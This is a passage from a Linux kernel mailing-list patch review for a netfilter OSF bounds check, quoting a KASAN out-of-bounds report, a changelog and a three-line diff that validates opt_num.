linux-6.0-rc4/net/core/dev.c:6689 > __do_softirq+0x1d3/0x9b3 linux-6.0-rc4/kernel/softirq.c:571 > do_softirq linux-6.0-rc4/kernel/softirq.c:472 > do_softirq+0x101/0x140 linux-6.0-rc4/kernel/softirq.c:459 > </IRQ> > <TASK> > __local_bh_enable_ip+0xf4/0x110 linux-6.0-rc4/kernel/softirq.c:396 > local_bh_enable linux-6.0-rc4/./include/linux/bottom_half.h:33 > rcu_read_unlock_bh linux-6.0-rc4/./include/linux/rcupdate.h:776 > ip_finish_output2+0x7d6/0x21a0 linux-6.0-rc4/net/ipv4/ip_output.c:229 > __ip_finish_output linux-6.0-rc4/net/ipv4/ip_output.c:306 > __ip_finish_output+0x396/0x650 linux-6.0-rc4/net/ipv4/ip_output.c:288 > ip_finish_output+0x2d/0x280 linux-6.0-rc4/net/ipv4/ip_output.c:316 > NF_HOOK_COND linux-6.0-rc4/./include/linux/netfilter.h:296 > ip_output+0x20a/0x620 linux-6.0-rc4/net/ipv4/ip_output.c:430 > dst_output linux-6.0-rc4/./include/net/dst.h:451 > ip_local_out linux-6.0-rc4/net/ipv4/ip_output.c:126 > __ip_queue_xmit+0x8de/0x1bd0 linux-6.0-rc4/net/ipv4/ip_output.c:532 > __tcp_transmit_skb+0x195b/0x3820 linux-6.0-rc4/net/ipv4/tcp_output.c:1402 > tcp_transmit_skb linux-6.0-rc4/net/ipv4/tcp_output.c:1420 > tcp_write_xmit+0xd9b/0x5f70 linux-6.0-rc4/net/ipv4/tcp_output.c:2691 > __tcp_push_pending_frames+0xaa/0x380 linux-6.0-rc4/net/ipv4/tcp_output.c:2875 > tcp_push+0x49b/0x720 linux-6.0-rc4/net/ipv4/tcp.c:728 > tcp_sendmsg_locked+0x2480/0x2fc0 linux-6.0-rc4/net/ipv4/tcp.c:1455 > tcp_sendmsg+0x2b/0x40 linux-6.0-rc4/net/ipv4/tcp.c:1483 > inet_sendmsg+0x99/0xe0 linux-6.0-rc4/net/ipv4/af_inet.c:819 > sock_sendmsg_nosec linux-6.0-rc4/net/socket.c:714 > sock_sendmsg+0xcf/0x120 linux-6.0-rc4/net/socket.c:734 > sock_write_iter+0x291/0x3d0 linux-6.0-rc4/net/socket.c:1108 > call_write_iter linux-6.0-rc4/./include/linux/fs.h:2187 > new_sync_write linux-6.0-rc4/fs/read_write.c:491 > vfs_write+0x9ef/0xde0 linux-6.0-rc4/fs/read_write.c:578 > ksys_write+0x1e8/0x250 linux-6.0-rc4/fs/read_write.c:631 > do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50 > do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80 > entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120 > RIP: 0033:0x7f1674040fef > Code: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 29 fd ff ff 48 8b 54 24 18 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 01 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 31 44 89 c7 48 89 44 24 08 e8 5c fd ff ff 48 > RSP: 002b:00007ffe90523f50 EFLAGS: 00000293 ORIG_RAX: 0000000000000001 > RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f1674040fef > RDX: 0000000000000080 RSI: 00007ffe90524030 RDI: 0000000000000006 > RBP: 00007ffe905240d0 R08: 0000000000000000 R09: 0000000000000000 > R10: 0000560534f9b61f R11: 0000000000000293 R12: 0000560534f9c1b0 > R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000 > </TASK> > > Allocated by task 6431: > kasan_save_stack+0x1e/0x40 linux-6.0-rc4/mm/kasan/common.c:38 > kasan_set_track linux-6.0-rc4/mm/kasan/common.c:45 > set_alloc_info linux-6.0-rc4/mm/kasan/common.c:437 > ____kasan_kmalloc linux-6.0-rc4/mm/kasan/common.c:516 > ____kasan_kmalloc linux-6.0-rc4/mm/kasan/common.c:475 > __kasan_kmalloc+0xa6/0xd0 linux-6.0-rc4/mm/kasan/common.c:525 > kasan_kmalloc linux-6.0-rc4/./include/linux/kasan.h:234 > kmem_cache_alloc_trace+0x25a/0x460 linux-6.0-rc4/mm/slab.c:3559 > kmalloc linux-6.0-rc4/./include/linux/slab.h:600 > nfnl_osf_add_callback+0x11f/0x550 linux-6.0-rc4/net/netfilter/nfnetlink_osf.c:316 > nfnetlink_rcv_msg+0xbcf/0x13f0 linux-6.0-rc4/net/netfilter/nfnetlink.c:300 > netlink_rcv_skb+0x153/0x420 linux-6.0-rc4/net/netlink/af_netlink.c:2501 > nfnetlink_rcv+0x1ac/0x420 linux-6.0-rc4/net/netfilter/nfnetlink.c:658 > netlink_unicast_kernel linux-6.0-rc4/net/netlink/af_netlink.c:1319 > netlink_unicast+0x543/0x7f0 linux-6.0-rc4/net/netlink/af_netlink.c:1345 > netlink_sendmsg+0x918/0xe20 linux-6.0-rc4/net/netlink/af_netlink.c:1921 > sock_sendmsg_nosec linux-6.0-rc4/net/socket.c:714 > sock_sendmsg+0xcf/0x120 linux-6.0-rc4/net/socket.c:734 > ____sys_sendmsg+0x6e6/0x800 linux-6.0-rc4/net/socket.c:2482 > ___sys_sendmsg+0x11d/0x1b0 linux-6.0-rc4/net/socket.c:2536 > __sys_sendmsg+0xfa/0x1d0 linux-6.0-rc4/net/socket.c:2565 > do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50 > do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80 > entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120 > > Last potentially related work creation: > kasan_save_stack+0x1e/0x40 linux-6.0-rc4/mm/kasan/common.c:38 > __kasan_record_aux_stack+0x7e/0x90 linux-6.0-rc4/mm/kasan/generic.c:348 > kvfree_call_rcu+0x74/0x940 linux-6.0-rc4/kernel/rcu/tree.c:3322 > put_css_set_locked linux-6.0-rc4/kernel/cgroup/cgroup.c:988 > put_css_set_locked+0xa9c/0x1000 linux-6.0-rc4/kernel/cgroup/cgroup.c:954 > put_css_set linux-6.0-rc4/kernel/cgroup/cgroup-internal.h:211 > put_css_set linux-6.0-rc4/kernel/cgroup/cgroup-internal.h:198 > cgroup_free+0x83/0x1b0 linux-6.0-rc4/kernel/cgroup/cgroup.c:6525 > __put_task_struct+0x113/0x3d0 linux-6.0-rc4/kernel/fork.c:840 > put_task_struct linux-6.0-rc4/./include/linux/sched/task.h:119 > delayed_put_task_struct+0x1f1/0x330 linux-6.0-rc4/kernel/exit.c:177 > rcu_do_batch linux-6.0-rc4/kernel/rcu/tree.c:2245 > rcu_core+0x7bb/0x1850 linux-6.0-rc4/kernel/rcu/tree.c:2505 > __do_softirq+0x1d3/0x9b3 linux-6.0-rc4/kernel/softirq.c:571 > > The buggy address belongs to the object at ffff88804bc64000 > which belongs to the cache kmalloc-1k of size 1024 > The buggy address is located 626 bytes inside of > 1024-byte region [ffff88804bc64000, ffff88804bc64400) > > The buggy address belongs to the physical page: > page:ffffea00012f1900 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x4bc64 > flags: 0x4fff00000000200(slab|node=1|zone=1|lastcpupid=0x7ff) > raw: 04fff00000000200 ffffea0001023808 ffffea00012f1f08 ffff888011840700 > raw: 0000000000000000 ffff88804bc64000 0000000100000002 0000000000000000 > page dumped because: kasan: bad access detected > page_owner tracks the page as allocated > page last allocated via order 0, migratetype Unmovable, gfp_mask 0x2420c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_COMP|__GFP_THISNODE), pid 1, tgid 1 (systemd), ts 22208538581, free_ts 22201347598 > prep_new_page linux-6.0-rc4/mm/page_alloc.c:2532 > get_page_from_freelist+0x1082/0x2ae0 linux-6.0-rc4/mm/page_alloc.c:4283 > __alloc_pages+0x1c7/0x510 linux-6.0-rc4/mm/page_alloc.c:5515 > __alloc_pages_node linux-6.0-rc4/./include/linux/gfp.h:243 > kmem_getpages linux-6.0-rc4/mm/slab.c:1363 > cache_grow_begin+0x75/0x370 linux-6.0-rc4/mm/slab.c:2569 > cache_alloc_refill+0x27e/0x380 linux-6.0-rc4/mm/slab.c:2942 > ____cache_alloc linux-6.0-rc4/mm/slab.c:3018 > ____cache_alloc linux-6.0-rc4/mm/slab.c:3001 > slab_alloc_node linux-6.0-rc4/mm/slab.c:3220 > kmem_cache_alloc_node_trace+0x4f5/0x560 linux-6.0-rc4/mm/slab.c:3601 > __do_kmalloc_node linux-6.0-rc4/mm/slab.c:3623 > __kmalloc_node+0x38/0x60 linux-6.0-rc4/mm/slab.c:3631 > kmalloc_node linux-6.0-rc4/./include/linux/slab.h:623 > kvmalloc_node+0x3e/0x190 linux-6.0-rc4/mm/util.c:613 > kvzalloc_node linux-6.0-rc4/./include/linux/slab.h:754 > alloc_shrinker_info+0xe9/0x290 linux-6.0-rc4/mm/vmscan.c:282 > mem_cgroup_css_online+0x182/0x470 linux-6.0-rc4/mm/memcontrol.c:5292 > online_css+0xaf/0x2a0 linux-6.0-rc4/kernel/cgroup/cgroup.c:5334 > css_create linux-6.0-rc4/kernel/cgroup/cgroup.c:5405 > cgroup_apply_control_enable+0x69f/0xc00 linux-6.0-rc4/kernel/cgroup/cgroup.c:3204 > cgroup_mkdir+0x5a0/0x1300 linux-6.0-rc4/kernel/cgroup/cgroup.c:5602 > kernfs_iop_mkdir+0x146/0x1d0 linux-6.0-rc4/fs/kernfs/dir.c:1185 > vfs_mkdir+0x3a9/0x650 linux-6.0-rc4/fs/namei.c:4013 > do_mkdirat+0x28c/0x310 linux-6.0-rc4/fs/namei.c:4038 > __do_sys_mkdir linux-6.0-rc4/fs/namei.c:4058 > __se_sys_mkdir linux-6.0-rc4/fs/namei.c:4056 > __x64_sys_mkdir+0xf2/0x140 linux-6.0-rc4/fs/namei.c:4056 > page last free stack trace: > reset_page_owner linux-6.0-rc4/./include/linux/page_owner.h:24 > free_pages_prepare linux-6.0-rc4/mm/page_alloc.c:1449 > free_pcp_prepare+0x4b0/0xb50 linux-6.0-rc4/mm/page_alloc.c:1499 > free_unref_page_prepare linux-6.0-rc4/mm/page_alloc.c:3380 > free_unref_page+0x19/0x520 linux-6.0-rc4/mm/page_alloc.c:3476 > tlb_batch_list_free linux-6.0-rc4/mm/mmu_gather.c:74 > tlb_finish_mmu+0x1a3/0x7e0 linux-6.0-rc4/mm/mmu_gather.c:356 > exit_mmap+0x1d2/0x480 linux-6.0-rc4/mm/mmap.c:3118 > __mmput+0x122/0x4b0 linux-6.0-rc4/kernel/fork.c:1187 > mmput+0x56/0x60 linux-6.0-rc4/kernel/fork.c:1208 > exit_mm linux-6.0-rc4/kernel/exit.c:510 > do_exit+0x9d9/0x29b0 linux-6.0-rc4/kernel/exit.c:782 > do_group_exit+0xd2/0x2f0 linux-6.0-rc4/kernel/exit.c:925 > __do_sys_exit_group linux-6.0-rc4/kernel/exit.c:936 > __se_sys_exit_group linux-6.0-rc4/kernel/exit.c:934 > __x64_sys_exit_group+0x3a/0x50 linux-6.0-rc4/kernel/exit.c:934 > do_syscall_x64 linux-6.0-rc4/arch/x86/entry/common.c:50 > do_syscall_64+0x35/0xb0 linux-6.0-rc4/arch/x86/entry/common.c:80 > entry_SYSCALL_64_after_hwframe+0x63/0xcd linux-6.0-rc4/arch/x86/entry/entry_64.S:120 > > Memory state around the buggy address: > ffff88804bc64100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 > ffff88804bc64180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >> ffff88804bc64200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc fc > ^ > ffff88804bc64280: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc > ffff88804bc64300: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc > > --- > > Changelog: > ---------- > > v1: > * Initial patch > v2: > * Move the validation to nfnl_osf_add_callback() > > Fixes: f9324952088f ("netfilter: nfnetlink_osf: extract nfnetlink_subsystem code from xt_osf.c") I am not sure whether this is the right "Fixes" tag. While it is true I introduced this line it came from the existing xt_osf.c. I guess, it is fine as probably this commit is more relevant for backporting needs than the original one. > Reported-by: Lucas Leong <wmliang@infosec.exchange> > Cc: stable@kernel.org > Signed-off-by: Wander Lairson Costa <wander@redhat.com> > --- > net/netfilter/nfnetlink_osf.c | 3 +++ > 1 file changed, 3 insertions(+) > > diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c > index 8f1bfa6ccc2d..13fedf2aaa0f 100644 > --- a/net/netfilter/nfnetlink_osf.c > +++ b/net/netfilter/nfnetlink_osf.c > @@ -315,6 +315,9 @@ static int nfnl_osf_add_callback(struct sk_buff *skb, > > f = nla_data(osf_attrs[OSF_ATTR_FINGER]); > > + if (f->opt_num > ARRAY_SIZE(f->opt)) > + return -EINVAL; > + > kf = kmalloc(sizeof(struct nf_osf_finger), GFP_KERNEL); > if (!kf) > return -ENOMEM;
diff --git a/net/netfilter/nfnetlink_osf.c b/net/netfilter/nfnetlink_osf.c index 8f1bfa6ccc2d..13fedf2aaa0f 100644 --- a/net/netfilter/nfnetlink_osf.c +++ b/net/netfilter/nfnetlink_osf.c @@ -315,6 +315,9 @@ static int nfnl_osf_add_callback(struct sk_buff *skb, f = nla_data(osf_attrs[OSF_ATTR_FINGER]); + if (f->opt_num > ARRAY_SIZE(f->opt)) + return -EINVAL; + kf = kmalloc(sizeof(struct nf_osf_finger), GFP_KERNEL); if (!kf) return -ENOMEM;